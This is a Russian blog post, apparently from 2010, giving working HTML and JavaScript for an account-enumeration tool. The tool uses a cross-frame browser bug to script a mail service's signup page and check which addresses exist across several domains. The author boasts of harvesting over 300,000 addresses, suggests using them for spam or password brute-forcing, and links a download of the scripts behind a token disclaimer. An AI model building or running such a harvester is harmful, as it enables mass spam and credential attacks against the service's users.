<p>Для реализации всего выше указанного, нам необходимо немного соображать в javascript&#8217;е, html&#8217;е и самое сложное &#8211; найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы &#8211; ресурсы разных узлов.</p>
<p>Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям:<br />
Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2<br />
Linux: FF 3.5, Opera 10, Epiphany 2.26.3.<br />
Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH).</p>
<p>Скачать его можно <a title="Arora" href="http://code.google.com/p/arora/" target="_blank">здесь</a>.</p>
<p>Не знаю существует ли он под Windows и есть ли в нем этот баг.</p>
<p>Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство:<br />
на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет.<br />
Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем.</p>
<p><span style="color: #800000;">!!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши</span></p>
<p>После того как установили браузер, необходимо написать сами страницы.</p>
<p><strong>Первая, главная страница с разметкой на фреймы:</strong></p>
<blockquote><p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;/\/\аi|.ру checker all domains&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;frameset rows=25%,75%&gt;<br />
&lt;frame name=&#8217;up&#8217; src=&#8217;2.html&#8217;&gt;<br />
&lt;frame name=&#8217;mid&#8217; src=&#8217;http:\\win./\/\аi|.ру\cgi-bin\signup&#8217; &gt;<br />
&lt;/frameset&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>Вторая страница 2.html, так называемый интерфейс брутфорса</strong> (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы):</p>
<blockquote><p>&lt;script type=&#8221;text/javascript&#8221; src=&#8221;latvia.js&#8221;&gt;&lt;/script&gt;<br />
&lt;html&gt;<br />
&lt;body &gt;<br />
&lt;form name=&#8217;cmd&#8217; &gt;<br />
&lt;table style=text-allign:center;font-size:70%;vertical-align:middle; &gt;<br />
&lt;td&gt;addresses:&lt;br&gt;&lt;textarea name=&#8217;alladress&#8217; readOnly=&#8217;true&#8217; cols=20 rows=10&gt;&lt;/textarea&gt; &lt;/td&gt;</p>
<p>&lt;td&gt;full number&lt;br&gt;<br />
&lt;textarea name=&#8217;nomer&#8217; cols=13 rows=1&gt;0&lt;/textarea&gt;&lt;br&gt;</p>
<p>&lt;textarea name=&#8217;fakt_no&#8217; readOnly=&#8217;true&#8217; cols=3 rows=1&gt;0&lt;/textarea&gt;^&lt;textarea name=&#8217;quantity&#8217; cols=5 rows=1&gt;1500&lt;/textarea&gt;&lt;br&gt;<br />
exist address count&lt;br&gt;<br />
&lt;textarea name=&#8217;ex_count&#8217; readOnly=&#8217;true&#8217; cols=3 rows=1&gt;0&lt;/textarea&gt;&lt;br&gt;<br />
&lt;input type=&#8217;button&#8217; name=&#8217;start_bt&#8217; value=&#8217;start&#8217; onClick=&#8217;zamena()&#8217; &gt;<br />
&lt;input type=&#8217;button&#8217; name=&#8217;update_bt&#8217; value=&#8217;update&#8217; onClick=&#8217;update_fr()&#8217; &gt;<br />
&lt;/td&gt;</p>
<p>&lt;td&gt;words:&lt;br&gt;&lt;textarea name=&#8217;words&#8217; cols=20 rows=8&gt;&lt;/textarea&gt;&lt;br&gt;<br />
dictionary/successively(0/1)&lt;br&gt;<br />
&lt;textarea name=&#8217;dicsuc&#8217; cols=13 rows=1&gt;0&lt;/textarea&gt;</p>
<p>&lt;/td&gt;</p>
<p>&lt;/table&gt;</p>
<p>&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>А теперь сам движок брутфорса</strong>, файл с явакодом(latvia.js):</p>
<blockquote><p>var i=0;<br />
var osnwait=1000;<br />
var loawait=500;<br />
var load_attemp=0;<br />
var max_att=500;<br />
var ex_count=0;<br />
var flag=0;</p>
<p>var dom = new Array();<br />
dom[0]=&#8217;@/\/\аi|.ру&#8217;;<br />
dom[1]=&#8217;@ЬК.ru&#8217;;<br />
dom[2]=&#8217;@inЬ0х.ru&#8217;;<br />
dom[3]=&#8217;@|i$t.ru&#8217;;<br />
var n_dom=0;</p>
<p>function next(dig,variant) //возвращает следующее слово<br />
{if (variant==0){<br />
word_ar=parent.up.document.cmd.words.value.split(&#8216;  \n&#8217;);<br />
return word_ar[dig];} else{<br />
return dig.toString(36);}<br />
}</p>
<p>function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк)<br />
{<br />
if (flag==1){<br />
if (parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex&lt;3)<br />
{parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex++;<br />
}else{<br />
parent.mid.document.uinfo.RegistrationDomain.selec  tedIndex=0;<br />
parent.up.document.cmd.nomer.value=parseInt(parent  .up.document.cmd.nomer.value)+1;<br />
i++;<br />
parent.up.document.cmd.fakt_no.value=i;<br />
}}<br />
n_dom=parent.mid.document.uinfo.RegistrationDomain  .selectedIndex;<br />
if (flag==0){<br />
parent.mid.document.getElementById(&#8216;userNameInput&#8217;  ).value=&#8217;^!@#$%&amp;*&#8217;;<br />
setTimeout(&#8220;zamena()&#8221;,loawait);<br />
flag=1;<br />
} else<br />
{parent.mid.document.getElementById(&#8216;userNameInput  &#8216;).value=next(parseInt(parent.up.document.cmd.nome  r.value),parseInt(parent.up.document.cmd.dicsuc.va  lue));<br />
load_attemp=0;<br />
if(i&lt;=parseInt(parent.up.document.cmd.quantity.value))s  etTimeout(&#8220;zamena()&#8221;,osnwait);<br />
flag=0;<br />
}<br />
}</p>
<p>function update_fr() //обновляет страницу с формой<br />
{parent.mid.location=&#8221;http://win./\/\аi|.ру\cgi-bin\signup&#8221;;<br />
load_attemp=0;<br />
}</p>
<p>function zamena() //проверяет результаты выданные сайтом<br />
{<br />
//Еще проверяет<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==43){<br />
setTimeout(&#8220;zamena()&#8221;,loawait);<br />
load_attemp++;<br />
if(load_attemp&gt;max_att)    {<br />
update_fr();<br />
setTimeout(&#8220;zamena()&#8221;,osnwait*25);<br />
}<br />
}</p>
<p>//Сессия устарела<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==67){<br />
update_fr();<br />
setTimeout(&#8220;zamena()&#8221;,osnwait*25);}<br />
//Мыло существует<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==143){<br />
//alert(&#8220;exist&#8221;);<br />
parent.up.document.cmd.alladress.value=parent.up.d  ocument.cmd.alladress.value+parent.mid.document.ge  tElementById(&#8216;userNameInput&#8217;).value+dom[n_dom]+&#8217;\n&#8217;;</p>
<p>ex_count++;<br />
parent.up.document.cmd.ex_count.value=ex_count;<br />
oknext();<br />
}<br />
//Логин свободен т.е. мыло не существует<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==56)oknext();<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=56 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=43 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=143 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=67)oknext();<br />
}</p></blockquote>
<p><strong>Вопросы по коду:</strong><br />
<strong>?</strong>:зачем между сменами доменов вставлять ^!@#$%&amp;* ?<br />
<strong>0</strong>: иначе страница не видит что потенциальный логин был изменен, точнее его домен<br />
<strong>?</strong>:как реализована задержка между вводами ?<br />
<strong>0</strong>:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep()<br />
<strong>?</strong>:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд)<br />
<strong>0</strong>:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки &#8216;идет проверка&#8217; длина = 43</p>
<p>Остальное непонятное станет ясно дальше.</p>
<p><strong>Запуск и настройка:</strong><br />
Открываем в браузере первую страницу и видим примерно следующее:</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/Снимок-mail.ru-checker-all-domains-Arora.png"><img src="http://blog.lukmus.ru/wp-content/uploads/2010/06/Снимок-mail.ru-checker-all-domains-Arora.png" alt="Скриншот JS-Arora брутфорса" width="527" height="529" /></a></p>
<p><strong>Пару слов перед настройкой:</strong><br />
этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле &#8216;words&#8217;.</p>
<ul>
<li><em>Поле &#8216;addresses&#8217;</em> &#8211; здесь будут содержаться существующие адреса т.е. наши успешные попытки</li>
</ul>
<ul>
<li><em>Поле &#8216;full number&#8217;</em> &#8211; в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре.</li>
</ul>
<ul>
<li><em>Поле ниже &#8216;full number&#8217;</em>- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать</li>
</ul>
<ul>
<li><em>Поле &#8216;exist address count&#8217;</em> &#8211; здесь отображаеться количество набранных адресов</li>
</ul>
<ul>
<li><em>Поле &#8216;dictionary/successively(0/1)&#8217;</em> &#8211; выбор варианта перебора 0 &#8211; по словарю, 1 &#8211; все подряд</li>
</ul>
<ul>
<li><em>Поле &#8216;words&#8217;</em> &#8211; наш словарь</li>
</ul>
<ul>
<li><em>Кнопка &#8216;start&#8217;</em> &#8211; запускает перебор</li>
</ul>
<ul>
<li> <em>Кнопка &#8216;update&#8217;</em> &#8211; обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо )</li>
</ul>
<p><strong>Настройка на перебор всего подряд </strong><br />
начинаем с 1000000 комбинации (full number = 0)<br />
перебор всех комбинаций (dictionary/successively(0/1)=1)<br />
количество = 5000</p>
<p><strong>Настройка на перебор по словарю</strong><br />
начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2)<br />
перебор по словарю (dictionary/successively(0/1)=0)<br />
количество = 10000</p>
<p><strong>Итоги:</strong><br />
Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен.<br />
Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось.<br />
Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок &#8211; сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок .<br />
Скачать все эти скрипты можно <a href="http://sharingmatrix.com/file/9980515/mail.ru_-_JS-Arora-brute.tar" target="_blank">здесь</a>.</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
